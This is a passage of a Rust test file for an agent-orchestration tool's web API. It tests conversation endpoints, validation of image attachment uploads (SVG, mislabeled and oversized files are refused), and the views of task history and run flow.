11180 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11181 .expect("serialize closed talk");
11182 assert_eq!(
11183 after_clear, before_clear,
11184 "clear must not rewrite a closed talk"
11185 );
11186 }
11187
11188 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11191
11192 #[tokio::test]
11193 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11194 let tmp = TempDir::new().expect("tempdir");
11195 let repo = tmp.path().join("repo");
11196 std::fs::create_dir_all(&repo).expect("repo dir");
11197 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11198 let f = Fixture::with_repo(repo).await;
11199 let id_a = f.post("/api/talks", None).await.json()["id"]
11200 .as_str()
11201 .unwrap()
11202 .to_owned();
11203 let id_b = f.post("/api/talks", None).await.json()["id"]
11204 .as_str()
11205 .unwrap()
11206 .to_owned();
11207
11208 let a = f
11209 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11210 .await;
11211 assert_eq!(a.status, 202, "{}", a.body);
11212 assert_eq!(a.json()["thinking"], true);
11213 let b = f
11214 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11215 .await;
11216 assert_eq!(b.status, 202, "{}", b.body);
11217 assert_eq!(b.json()["thinking"], true);
11218
11219 let listed = f.get("/api/talks").await.json();
11220 for id in [&id_a, &id_b] {
11221 let view = listed
11222 .as_array()
11223 .unwrap()
11224 .iter()
11225 .find(|talk| talk["id"] == *id)
11226 .unwrap();
11227 assert_eq!(view["thinking"], true, "{listed}");
11228 }
11229 let repeated = f
11230 .post(
11231 &format!("/api/talks/{id_a}/say"),
11232 Some(r#"{"text":"again"}"#),
11233 )
11234 .await;
11235 assert_eq!(repeated.status, 202, "{}", repeated.body);
11236 assert_eq!(repeated.json()["pending"], "again");
11237 }
11238
11239 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11242
11243 #[tokio::test]
11244 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11245 let f = Fixture::start().await;
11246 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11247
11248 let res = f
11249 .post_bytes(
11250 &format!("/api/talks/{id}/attachments"),
11251 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11252 PNG_BYTES,
11253 )
11254 .await;
11255 assert_eq!(res.status, 201, "{}", res.body);
11256 let body = res.json();
11257 assert_eq!(body["name"], "shot.png");
11258 assert_eq!(body["mime"], "image/png");
11259 assert_eq!(body["bytes"], PNG_BYTES.len());
11260 let att_id = body["id"].as_str().expect("id").to_owned();
11261 assert_eq!(
11262 att_id.len(),
11263 32,
11264 "the id must never be a client-suppliable path: {att_id}"
11265 );
11266
11267 let got = f
11268 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11269 .await;
11270 assert_eq!(got.status, 200, "{}", got.body);
11271 assert_eq!(got.header("content-type"), Some("image/png"));
11272 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11273 assert_eq!(got.bytes, PNG_BYTES);
11274 }
11275
11276 #[tokio::test]
11277 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11278 let f = Fixture::start().await;
11279 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11280
11281 let svg = f
11284 .post_bytes(
11285 &format!("/api/talks/{id}/attachments"),
11286 &[("Content-Type", "image/svg+xml")],
11287 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11288 )
11289 .await;
11290 assert!(
11291 (400..500).contains(&svg.status),
11292 "svg must be refused: {} {}",
11293 svg.status,
11294 svg.body
11295 );
11296 assert!(svg.body.contains("SVG"), "{}", svg.body);
11297
11298 let text = f
11299 .post_bytes(
11300 &format!("/api/talks/{id}/attachments"),
11301 &[("Content-Type", "text/plain")],
11302 b"just some text",
11303 )
11304 .await;
11305 assert!(
11306 (400..500).contains(&text.status),
11307 "an unlisted type must be refused: {} {}",
11308 text.status,
11309 text.body
11310 );
11311
11312 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11315 let big = f
11316 .post_bytes(
11317 &format!("/api/talks/{id}/attachments"),
11318 &[("Content-Type", "image/png")],
11319 &oversized,
11320 )
11321 .await;
11322 assert_eq!(
11323 big.status,
11324 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11325 "{}",
11326 big.body
11327 );
11328 }
11329
11330 #[tokio::test]
11331 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11332 let f = Fixture::start().await;
11333 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11334
11335 let res = f
11338 .post_bytes(
11339 &format!("/api/talks/{id}/attachments"),
11340 &[("Content-Type", "image/png")],
11341 b"<html>not a picture</html>",
11342 )
11343 .await;
11344 assert!((400..500).contains(&res.status), "{}", res.body);
11345 }
11346
11347 #[tokio::test]
11348 async fn an_unknown_attachment_id_is_a_404() {
11349 let f = Fixture::start().await;
11350 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11351
11352 let res = f
11353 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11354 .await;
11355 assert_eq!(res.status, 404, "{}", res.body);
11356 }
11357
11358 #[tokio::test]
11359 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11360 let f = Fixture::start().await;
11361 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11362
11363 let uploaded = f
11364 .post_bytes(
11365 &format!("/api/talks/{id}/attachments"),
11366 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11367 PNG_BYTES,
11368 )
11369 .await;
11370 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11371 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11372
11373 let res = f
11374 .post(
11375 &format!("/api/talks/{id}/say"),
11376 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11377 )
11378 .await;
11379 assert_eq!(res.status, 202, "{}", res.body);
11380 let queued = res.json();
11381 let turns = queued["turns"].as_array().expect("turns array");
11382 assert_eq!(
11383 turns.len(),
11384 1,
11385 "an empty body with an attachment is still a turn: {queued}"
11386 );
11387 assert_eq!(turns[0]["who"], "operator");
11388 assert_eq!(turns[0]["body"], "");
11389 let atts = turns[0]["attachments"]
11390 .as_array()
11391 .expect("attachments array");
11392 assert_eq!(atts.len(), 1);
11393 assert_eq!(atts[0]["id"], att_id);
11394 assert_eq!(atts[0]["mime"], "image/png");
11395
11396 let on_disk = f.talks().get(&id).expect("get");
11399 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11400 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11401 }
11402
11403 #[tokio::test]
11404 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11405 let f = Fixture::start().await;
11406 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11407
11408 let res = f
11409 .post(
11410 &format!("/api/talks/{id}/say"),
11411 Some(&format!(
11412 r#"{{"text":"hi","attachments":["{}"]}}"#,
11413 "a".repeat(32)
11414 )),
11415 )
11416 .await;
11417 assert!((400..500).contains(&res.status), "{}", res.body);
11418 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11419
11420 let on_disk = f.talks().get(&id).expect("get");
11421 assert!(
11422 on_disk.turns.is_empty(),
11423 "a rejected attachment id must not partially record the turn: {:?}",
11424 on_disk.turns
11425 );
11426 }
11427
11428 #[tokio::test]
11429 async fn talk_close_makes_the_talk_refuse_further_turns() {
11430 let f = Fixture::start().await;
11431 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11432
11433 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11434 assert_eq!(closed.status, 200, "{}", closed.body);
11435 assert_eq!(closed.json()["status"], "closed");
11436
11437 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11439 assert_eq!(closed_again.status, 200);
11440 assert_eq!(closed_again.json()["status"], "closed");
11441
11442 let said = f
11443 .post(
11444 &format!("/api/talks/{id}/say"),
11445 Some(r#"{"text":"too late"}"#),
11446 )
11447 .await;
11448 assert_eq!(said.status, 409, "{}", said.body);
11449 }
11450
11451 #[tokio::test]
11452 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11453 let (_tmp, _repo, f) = talk_fixture().await;
11454 let id = f.post("/api/talks", None).await.json()["id"]
11455 .as_str()
11456 .expect("id")
11457 .to_owned();
11458 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11459 assert_eq!(closed.status, 200, "{}", closed.body);
11460
11461 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11462 assert_eq!(reopened.status, 200, "{}", reopened.body);
11463 assert_eq!(reopened.json()["status"], "open");
11464
11465 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11467 assert_eq!(reopened_again.status, 200);
11468 assert_eq!(reopened_again.json()["status"], "open");
11469
11470 let said = f
11471 .post(
11472 &format!("/api/talks/{id}/say"),
11473 Some(r#"{"text":"still there?"}"#),
11474 )
11475 .await;
11476 assert_eq!(
11477 said.status, 202,
11478 "a reopened talk accepts turns again: {}",
11479 said.body
11480 );
11481 }
11482
11483 #[tokio::test]
11484 async fn talk_reopen_on_an_unknown_id_is_404() {
11485 let f = Fixture::start().await;
11486 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11487 assert_eq!(res.status, 404, "{}", res.body);
11488 }
11489
11490 #[tokio::test]
11491 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11492 let f = Fixture::start().await;
11493 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11494
11495 let deleted = f.delete(&format!("/api/talks/{id}")).await;
11496 assert_eq!(deleted.status, 204, "{}", deleted.body);
11497
11498 let after = f.get(&format!("/api/talks/{id}")).await;
11499 assert_eq!(after.status, 404, "{}", after.body);
11500
11501 let listed = f.get("/api/talks").await.json();
11502 assert!(
11503 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11504 "a deleted talk must not linger in the list: {listed}"
11505 );
11506 }
11507
11508 #[tokio::test]
11509 async fn talk_delete_on_an_unknown_id_is_404() {
11510 let f = Fixture::start().await;
11511 let res = f.delete("/api/talks/nonexistent-id").await;
11512 assert_eq!(res.status, 404, "{}", res.body);
11513 }
11514
11515 #[tokio::test]
11519 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11520 let f = Fixture::start().await;
11521 let (a, b, gone) = (
11522 "20260902-140501-aaaa",
11523 "20260902-140502-bbbb",
11524 "20260902-140503-cccc",
11525 );
11526 write_run(&f.runs(), a, RunStatus::Stalled);
11527 let mut review = RunState::new(
11528 PathBuf::from("/repo/magi"),
11529 "main".to_owned(),
11530 "0123456789abcdef".to_owned(),
11531 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11532 .to_owned(),
11533 Config::default(),
11534 );
11535 review.id = b.to_owned();
11536 review.status = RunStatus::Merged;
11537 write_state(&f.runs(), &review);
11538
11539 let mut task = Task::new(
11540 "retry".to_owned(),
11541 "Do the thing".to_owned(),
11542 PathBuf::from("/repo/magi"),
11543 Source::Human,
11544 );
11545 task.start(a.to_owned());
11546 task.stall("quota");
11547 task.start(a.to_owned());
11548 task.start(b.to_owned());
11549 task.start(gone.to_owned());
11550 f.queue().put(&mut task).expect("file the task");
11551
11552 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11553 assert_eq!(res.status, 200, "{}", res.body);
11554 let v = res.json();
11555 let h = v["history"].as_array().expect("history");
11556 assert_eq!(h.len(), 4, "{v}");
11557 assert_eq!(h[0]["kind"], "competition");
11558 assert_eq!(h[0]["status"], "stalled");
11559 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11560 assert_eq!(h[1]["kind"], "resume", "{v}");
11561 assert!(
11562 h[0]["outcome"]
11563 .as_str()
11564 .unwrap()
11565 .contains("unknown. Pass #2"),
11566 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11567 );
11568 assert!(
11569 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11570 "{v}"
11571 );
11572 assert!(
11573 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11574 "an unrecorded cause must not be narrated as an operator park: {v}"
11575 );
11576 assert_eq!(h[2]["kind"], "review");
11577 assert!(
11578 h[2]["description"]
11579 .as_str()
11580 .unwrap()
11581 .contains("magi/aaaa/A")
11582 );
11583 assert_eq!(h[2]["status"], "merged");
11584 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11585 assert_eq!(v["runs_unreadable"], 1);
11586 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11587 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11588 assert_eq!(nodes[4]["note"], "unreadable");
11589 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11590 assert_eq!(v["instruction"], "Do the thing");
11591 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11592
11593 let run = f.get(&format!("/api/runs/{a}")).await.json();
11595 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11596
11597 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11598 }
11599
11600 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11601 let mut s = RunState::new(
11602 PathBuf::from("/repo/magi"),
11603 "main".to_owned(),
11604 "0123456789abcdef".to_owned(),
11605 "Do it".to_owned(),
11606 Config::default(),
11607 );
11608 s.status = status;
11609 edit(&mut s);
11610 s
11611 }
11612
11613 fn flow_task(runs: &[&str]) -> Task {
11614 let mut t = Task::new(
11615 "t".to_owned(),
11616 "Do it".to_owned(),
11617 PathBuf::from("/repo/magi"),
11618 Source::Human,
11619 );
11620 for r in runs {
11621 t.start((*r).to_owned());
11622 }
11623 t
11624 }
11625
11626 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11627 let h = task_history(task, |id| {
11628 states
11629 .iter()
11630 .find(|(i, _)| *i == id)
11631 .and_then(|(_, s)| s.clone())
11632 });
11633 task_flow(task, &h, 5, None)
11634 }
11635
11636 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11637 crate::queue::FollowUp {
11638 run: "20260901-000000-aaaa".to_owned(),
11639 origin_task: origin_task.map(str::to_owned),
11640 pr: "https://example.com/o/r/pull/1".to_owned(),
11641 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11642 .map(str::to_owned)
11643 .to_vec(),
11644 generation: 1,
11645 }
11646 }
11647
11648 fn parent_task() -> Task {
11649 let mut p = flow_task(&[]);
11650 p.title = "Parent title".to_owned();
11651 p.status = TaskStatus::Done;
11652 p
11653 }
11654
11655 #[test]
11656 fn flow_opens_with_the_parent_task_of_a_followup() {
11657 let p = parent_task();
11658 let pid = p.id.clone();
11659 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11660 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11661 let n = &f.nodes[0];
11662 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11663 assert_eq!(
11664 n.label,
11665 format!("Follow-up of {}", crate::queue::short(&pid))
11666 );
11667 assert_eq!(n.detail.as_deref(), Some("Parent title"));
11668 assert_eq!(n.status, Some("done"));
11669 assert_eq!(n.status_of, "task");
11670 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11671 assert_eq!(f.nodes[1].key, "start");
11672 assert_eq!(f.edges[0].from, "origin");
11673 assert_eq!(
11674 f.edges[0].label,
11675 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11676 );
11677 }
11678
11679 #[test]
11680 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11681 let o = followup_origin(
11682 &fu(Some("gone")),
11683 |_| None,
11684 |_| {
11685 Some(RunState::new(
11686 std::path::PathBuf::from("."),
11687 "main".to_owned(),
11688 "0".to_owned(),
11689 "t".to_owned(),
11690 crate::config::Config::default(),
11691 ))
11692 },
11693 );
11694 assert!(o.parent.is_none());
11695 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11696 let n = &f.nodes[0];
11697 assert_eq!(n.status_of, "run");
11698 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11699 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11700 }
11701
11702 #[test]
11703 fn flow_followup_with_nothing_readable_has_no_link() {
11704 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11705 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11706 let n = &f.nodes[0];
11707 assert_eq!(n.href, None);
11708 assert_eq!(n.note, Some("unreadable"));
11709 assert!(!n.readable);
11710 }
11711
11712 #[test]
11713 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11714 let o = followup_origin(&fu(None), |_| None, |_| None);
11715 let mut t = flow_task(&[]);
11716 t.origin_chat = Some("c1".to_owned());
11717 let f = task_flow(&t, &[], 5, Some(&o));
11718 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11719 t.source = Source::Agent {
11720 run: "c1".to_owned(),
11721 node: crate::queue::CHAT_NODE.to_owned(),
11722 };
11723 let f = task_flow(&t, &[], 5, Some(&o));
11724 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11725 assert_eq!(
11726 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11727 ("chat", "origin")
11728 );
11729 }
11730
11731 #[test]
11732 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11733 let mut p = parent_task();
11734 p.id = "a b/c".to_owned();
11735 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11736 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11737 }
11738
11739 #[test]
11740 fn flow_opens_with_the_chat_that_queued_the_task() {
11741 let mut t = flow_task(&[]);
11742 t.source = Source::Agent {
11743 run: "a b/c".to_owned(),
11744 node: crate::queue::CHAT_NODE.to_owned(),
11745 };
11746 let f = flow_for(&t, &[]);
11747 assert_eq!(f.nodes[0].key, "chat");
11748 assert_eq!(f.nodes[0].kind, "chat");
11749 assert_eq!(
11750 f.nodes[0].label,
11751 format!("Chat {}", crate::queue::short("a b/c"))
11752 );
11753 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11754 assert_eq!(f.nodes[1].key, "start");
11755 assert_eq!(
11756 f.edges[0],
11757 FlowEdge {
11758 from: "chat".to_owned(),
11759 to: "start".to_owned(),
11760 label: "queued from chat".to_owned(),
11761 attempt: AttemptCost::None,
11762 }
11763 );
11764 }
11765
11766 #[test]
11767 fn flow_has_no_chat_box_for_other_sources() {
11768 for source in [
11769 Source::Human,
11770 Source::Issue {
11771 number: 3,
11772 repo: "o/r".to_owned(),
11773 },
11774 Source::Agent {
11775 run: "20260904-014455-ab12".to_owned(),
11776 node: "implement".to_owned(),
11777 },
11778 ] {
11779 let mut t = flow_task(&[]);
11780 t.source = source;
11781 let f = flow_for(&t, &[]);
11782 assert_eq!(f.nodes[0].key, "start");
11783 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11784 assert!(f.edges.iter().all(|e| e.from != "chat"));
11785 }
11786 }
11787
11788 const FA: &str = "20260902-140501-aaaa";
11789 const FB: &str = "20260902-140502-bbbb";
11790
11791 #[test]
11792 fn flow_follows_blocked_retry_merged_to_done() {
11793 let mut t = flow_task(&[FA, FB]);
11794 t.status = TaskStatus::Done;
11795 let f = flow_for(
11796 &t,
11797 &[
11798 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11799 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11800 ],
11801 );
11802 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11803 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11804 assert_eq!(f.edges.len(), 3);
11805 assert_eq!(f.edges[0].label, "claimed");
11806 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11807 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11808 assert_eq!(f.edges[2].label, "merged \u{2192} done");
11809 assert_eq!(
11810 f.nodes[2].href.as_deref(),
11811 Some("#/runs/20260902-140502-bbbb")
11812 );
11813 assert!(f.nodes[2].decided);
11814 }
11815
11816 #[test]
11817 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11818 let quota = || {
11819 flow_run(RunStatus::Stalled, |s| {
11820 s.quota.push(crate::run::QuotaLoss {
11821 seat: "judge-1".to_owned(),
11822 node: "judge".to_owned(),
11823 at: Timestamp::now(),
11824 reset: None,
11825 })
11826 })
11827 };
11828 let mut t = flow_task(&[FA, FA]);
11829 t.status = TaskStatus::Queued;
11830 let f = flow_for(&t, &[(FA, Some(quota()))]);
11831 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11832 assert_eq!(f.nodes[1].note, Some("interrupted"));
11833 assert_eq!(
11834 f.nodes[1].status, None,
11835 "no outcome copied onto an earlier pass"
11836 );
11837 assert_eq!(
11838 f.edges[1].attempt,
11839 AttemptCost::Unknown,
11840 "a resume does not prove the earlier pass was refunded"
11841 );
11842 assert!(f.edges[1].label.contains("resume the same run"));
11843 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11844 assert_eq!(
11845 f.edges[2].label,
11846 "stalled after a resume, refund unknown \u{2192} queued"
11847 );
11848 assert!(!f.nodes[2].decided, "a stall is not a decision");
11849 assert_eq!(f.nodes[2].note, Some("no verdict"));
11850 }
11851
11852 #[test]
11853 fn flow_single_pass_quota_stall_is_refunded() {
11854 let t = flow_task(&[FA]);
11855 let f = flow_for(
11856 &t,
11857 &[(
11858 FA,
11859 Some(flow_run(RunStatus::Stalled, |s| {
11860 s.quota.push(crate::run::QuotaLoss {
11861 seat: "judge-1".to_owned(),
11862 node: "judge".to_owned(),
11863 at: Timestamp::now(),
11864 reset: None,
11865 })
11866 })),
11867 )],
11868 );
11869 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11870 }
11871
11872 #[test]
11873 fn flow_parked_refunds_and_stall_without_quota_spends() {
11874 let mut t = flow_task(&[FA]);
11875 t.status = TaskStatus::Queued;
11876 let f = flow_for(
11877 &t,
11878 &[(
11879 FA,
11880 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11881 )],
11882 );
11883 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11884 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11885 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11886 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11887 assert!(!f.nodes[1].decided);
11888 }
11889
11890 #[test]
11891 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11892 let t = flow_task(&[FA, FB]);
11893 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11894 assert_eq!(f.nodes[1].note, Some("unreadable"));
11895 assert!(!f.nodes[1].readable);
11896 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11897 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11898 }
11899
11900 #[test]
11901 fn flow_names_the_branch_of_a_review_only_run() {
11902 let t = flow_task(&[FA]);
11903 let f = flow_for(
11904 &t,
11905 &[(
11906 FA,
11907 Some(flow_run(RunStatus::Merged, |s| {
11908 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11909 })),
11910 )],
11911 );
11912 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11913 assert_eq!(
11914 f.nodes[1].detail.as_deref(),
11915 Some("review-only run of branch magi/x/A")
11916 );
11917 }
11918
11919 #[test]
11920 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11921 let mut t = flow_task(&[FA]);
11922 t.status = TaskStatus::Held;
11923 let pr = crate::run::PrRecord {
11924 url: "https://example.test/pr/1".to_owned(),
11925 number: 1,
11926 state: "open".to_owned(),
11927 checks: "green".to_owned(),
11928 round: 0,
11929 rounds: 3,
11930 red_at_merge: Vec::new(),
11931 };
11932 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11933 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11934 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11935 t.status = TaskStatus::Done;
11936 let f = flow_for(&t, &[(FA, Some(blocked))]);
11937 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11938 }
11939
11940 #[test]
11941 fn flow_with_no_runs_goes_from_queued_to_queued() {
11942 let t = flow_task(&[]);
11943 let f = flow_for(&t, &[]);
11944 assert_eq!(f.nodes.len(), 2);
11945 assert_eq!(f.edges.len(), 1);
11946 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11947 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11948 }
11949
11950 #[test]
11953 fn a_parked_non_terminal_run_is_explained_as_parked() {
11954 let mut s = RunState::new(
11955 PathBuf::from("/repo/magi"),
11956 "main".to_owned(),
11957 "0123456789abcdef".to_owned(),
11958 "Do it".to_owned(),
11959 Config::default(),
11960 );
11961 s.status = RunStatus::Implementing;
11962 s.parked = true;
11963 let task = Task::new(
11964 "t".to_owned(),
11965 "Do it".to_owned(),
11966 PathBuf::from("/repo/magi"),
11967 Source::Human,
11968 );
11969 let v = task_run_view(
11970 "20260902-140501-aaaa",
11971 Some(&s),
11972 RunSlot {
11973 n: 1,
11974 resumed: false,
11975 resumed_later: None,
11976 prior: None,
11977 last: true,
11978 },
11979 &task,
11980 );
11981 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11982 }
11983
11984 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11985 let mut s = flow_run(RunStatus::Implementing, edit);
11986 s.parked = false;
11987 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11988 task_run_view(
11989 "20260902-140501-aaaa",
11990 Some(&s),
11991 RunSlot {
11992 n: 1,
11993 resumed: false,
11994 resumed_later: Some(2),
11995 prior: None,
11996 last: false,
11997 },
11998 &task,
11999 )
12000 }
12001
12002 #[test]
12003 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
12004 let v = earlier_pass_view(|_| {});
12005 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12006 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12007 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12008 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12009 assert_eq!(v.exit, RunExit::Interrupted);
12010 assert_eq!(v.attempt, AttemptCost::Unknown);
12011 }
12012
12013 #[test]
12014 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12015 let v = earlier_pass_view(|s| {
12016 s.quota.push(crate::run::QuotaLoss {
12017 seat: "judge-1".to_owned(),
12018 node: "judge".to_owned(),
12019 at: Timestamp::now(),
12020 reset: None,
12021 });
12022 });
12023 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12024 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12025 assert_eq!(v.attempt, AttemptCost::Unknown);
12026 }
12027
12028 #[test]
12029 fn the_current_pass_states_its_recorded_cause_and_cost() {
12030 let slot = || RunSlot {
12031 n: 1,
12032 resumed: false,
12033 resumed_later: None,
12034 prior: None,
12035 last: true,
12036 };
12037 let task = flow_task(&["20260902-140501-aaaa"]);
12038 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12039 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12040 assert_eq!(
12041 (v.exit, v.attempt),
12042 (RunExit::Parked, AttemptCost::Refunded)
12043 );
12044 let spent = flow_run(RunStatus::Blocked, |_| {});
12045 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12046 assert_eq!(v.attempt, AttemptCost::Spent);
12047 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12048 }
12049
12050 #[tokio::test]
12051 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12052 let f = Fixture::start().await;
12053 let queue = f.queue();
12054 let mut task = Task::new(
12055 "spent".to_owned(),
12056 "Try again".to_owned(),
12057 PathBuf::from("/repo/magi"),
12058 Source::Human,
12059 );
12060 task.start("20260902-140502-bbbb".to_owned());
12061 task.fail("agent gave up", 9);
12062 queue.put(&mut task).expect("file the task");
12063
12064 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12065 assert_eq!(held.status, 200);
12066 assert_eq!(held.json()["status_str"], "held");
12067
12068 let released = f
12069 .post(&format!("/api/queue/{}/release", task.id), None)
12070 .await;
12071 assert_eq!(released.status, 200);
12072 assert_eq!(released.json()["status_str"], "queued");
12073 assert_eq!(
12074 released.json()["attempts"],
12075 0,
12076 "release is a real second chance, not an instant re-hold"
12077 );
12078 assert_eq!(
12079 queue.get(&task.id).expect("reload").status,
12080 TaskStatus::Queued,
12081 "the change is on disk, not only in the reply"
12082 );
12083 assert!(
12084 !f.home
12085 .path()
12086 .join("queue")
12087 .join(format!("{}.lock", task.id))
12088 .exists(),
12089 "the claim the mutation took is released again"
12090 );
12091 }
12092
12093 #[tokio::test]
12094 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12095 let f = Fixture::start().await;
12096 let queue = f.queue();
12097 let mut task = Task::new(
12098 "busy".to_owned(),
12099 "Running right now".to_owned(),
